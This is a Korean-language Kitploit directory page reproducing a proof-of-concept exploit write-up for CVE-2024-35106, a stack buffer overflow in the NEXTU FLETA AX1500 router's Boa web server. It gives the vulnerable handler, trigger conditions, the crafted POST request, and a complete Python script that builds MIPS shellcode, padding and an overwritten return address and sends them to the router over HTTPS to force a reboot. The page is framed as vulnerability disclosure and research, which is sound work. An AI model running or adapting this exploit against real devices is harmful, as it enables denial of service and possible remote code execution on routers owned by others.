Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-35106-POC — CVE-2024-35106에 대한 개념 증명 익스플로잇, NEXTU FLETA AX1500 Wi-Fi 6 라우터의 스택 버퍼 오버플로우입니다. Boa 웹 서버의 IP QoS 핸들러에 조작된 POST 요청을 통해 서비스 거부 및 잠재적 원격 코드 실행을 시연합니다. | Kitploit
도구/GitHubGitHub/laskdjlaskdj12/cve-2024-35106-poc
Embedded Systems SecurityIoT SecurityExploitationShellcodeWeb Application ExploitationHardware & IoT SecurityPayload DevelopmentBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
laskdjlaskdj12/cve-2024-35106-poc

CVE-2024-35106-POC

CVE-2024-35106에 대한 개념 증명 익스플로잇, NEXTU FLETA AX1500 Wi-Fi 6 라우터의 스택 버퍼 오버플로우입니다. Boa 웹 서버의 IP QoS 핸들러에 조작된 POST 요청을 통해 서비스 거부 및 잠재적 원격 코드 실행을 시연합니다.

저장소 보기
41년 전아직 검토되지 않음

NEXTU FLETA Wifi6 라우터 DOS, 잠재적 RCE POC

이 문서는 CVE-2024-35106 취약점을 통해 EZNET FLETA WiFi 라우터에서 익스플로잇이 수행된 방법을 설명합니다.

취약점 정보

[CVE ID] CVE-2024-35106

[제품 공급업체] NEXTU

[제품] FLATA AX1500 Wifi6 라우터

[버전] 1.0.3

[취약점 유형] 버퍼 오버플로우

실행 환경

라우터는 Realtek 칩셋 기반 MIPS 아키텍처에서 리틀 엔디언으로 동작합니다.
라우터 펌웨어 버전은 v1.0.3입니다.

이 라우터는 2005년에 마지막 릴리스가 이루어진 임베디드 웹 서버 Boa를 사용합니다. 하지만 이 라우터는 라우터 펌웨어를 제어하는 관리 웹 페이지 서비스를 위해 Boa 웹 서버를 활용합니다.

취약점 실행 조건

취약점을 트리거하는 데 필요한 조건은 다음과 같습니다.

  1. 라우터가 공장 초기화 상태이거나 사용자가 로그인되어 있어야 합니다.
  2. 10개의 QoS 규칙이 미리 저장되어 있어야 합니다.
  3. 익스플로잇을 실행하기 전에 웹 대시보드를 통해 IP QoS 페이지(ip_qos.htm)에 접근해야 합니다.

취약점 발생 지점

라우터 관리 웹 페이지에서 내부 IP에 대해 QoS를 설정할 때 IP QoS 규칙 이름의 바이트 길이를 검증하지 않아 스택 버퍼 오버플로우가 발생합니다.

IP QoS 구성 요청 매개변수가 Boa의 핸들러 함수 formIpQoS로 전달되면, 핸들러는 "entry_name" 매개변수의 바이트 길이를 추출하여 strcpy() 함수를 통해 acStack_1c0 변수에 복사합니다. Pasted image 20250207042056

해당 함수에서 strcpy 함수는 버퍼 크기를 확인하지 않고 버퍼를 복사하는 데 사용됩니다. Pasted image 20250207042120

복사된 entry_name 매개변수의 바이너리를 저장하는 변수 acStack_1c0이 16바이트로 고정되어 있기 때문에, 복사되는 데이터의 크기를 제한하지 않는 strcpy() 함수를 사용하면 버퍼 오버플로우가 발생합니다. Pasted image 20250207042349

Pasted image 20250207042359

취약점 익스플로잇 흐름

공격 벡터의 POST 요청 및 매개변수는 다음과 같습니다.

root@kitploit:~
POST /boafrm/formIpQoS  

BODY  
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]

공격자는 임의 바이너리 코드와 임의 주소라는 두 가지를 포함하는 바이너리를 준비하여 POST 요청의 entry_name 매개변수에 설정합니다.

따라서 formIpQoS 핸들러 스택 주소 메모리에 있는 RET 주소가 스택 오버플로우로 인해 임의 주소로 덮어쓰여집니다.

Pasted image 20250207042541 (0x7f8548cc는 formIpQoS 핸들러의 스택 RET 주소)

그러나 핸들러 함수가 정상적으로 실행을 완료해야 하므로 10개의 IP QoS 규칙 집합이 미리 저장되어 있어야 합니다. Pasted image 20250207042613

취약점 POC

root@kitploit:~
from pwn import *  
from hackebds import *  
  
  
def shutdown_shell_code():  
    context.update(arch='mips', os='linux', bits=32, endian='little')  
  
    cmd = "/bin/sh"  
    args = ["autoreboot"]  
  
    asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()  
    shellcode = asm(asmcode)  
    return shellcode  
  
  
power_off_code = shutdown_shell_code()  
  
gap_code = (b'A') * 0x138

# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')  
stack_gap = (b'C') * 0x40  
  
print("power_off_code_length")  
print(len(power_off_code))  
  
final_code = power_off_code + gap_code + RET_address + stack_gap  
  
import socket  
import ssl  
  
# Server Address and Port  
HOST = '192.168.1.254'  
PORT = 443  
  
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()  
context.set_ciphers('HIGH:!DH:!aNULL')  
context.check_hostname = False  
context.verify_mode = ssl.CERT_NONE  
  
with socket.create_connection((HOST, PORT)) as sock:  
    with context.wrap_socket(sock, server_hostname=HOST) as ssock:  
            # Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
  
        # parameter for evade verification  
        send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code  
  
        # POST request headers 
        headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \  
                  b"Host: " + HOST.encode('utf-8') + b"\r\n" \  
                                                     b"Content-Type: application/octet-stream\r\n" \  
                                                     b"Content-Length: " + str(len(send_byte)).encode(  
            'utf-8') + b"\r\nConnection: close\r\n\r\n"  
  
        # Send request (combine headers and body)  
        ssock.send(headers + send_byte)  
  
        # Receive response  
        response = b""  
        while True:  
            data = ssock.recv(1024)  
            if not data:  
                break  
            response += data  
  
            #Print response  
        print(response.decode('utf-8'))

이 취약점에 대한 POC를 실행하면 확실히 DOS가 발생합니다. 그러나 임의 코드 실행은 발생하지 않을 수 있습니다.

제기된 영향 문제

이 취약점은 DOS 공격 및 잠재적 RCE 공격에 악용될 수 있습니다.

타임라인

2024-05-16: CVE 번호 할당 - CVE-2024-35106
2024-05-16: 제조사에 취약점 보고
2024-06-05: 제조사로부터 취약점에 대한 응답

발견자

Ku In Hoe

이 취약점 등록을 도와주신 분

정성훈 조교수 (숙명여자대학교)

도구 다운로드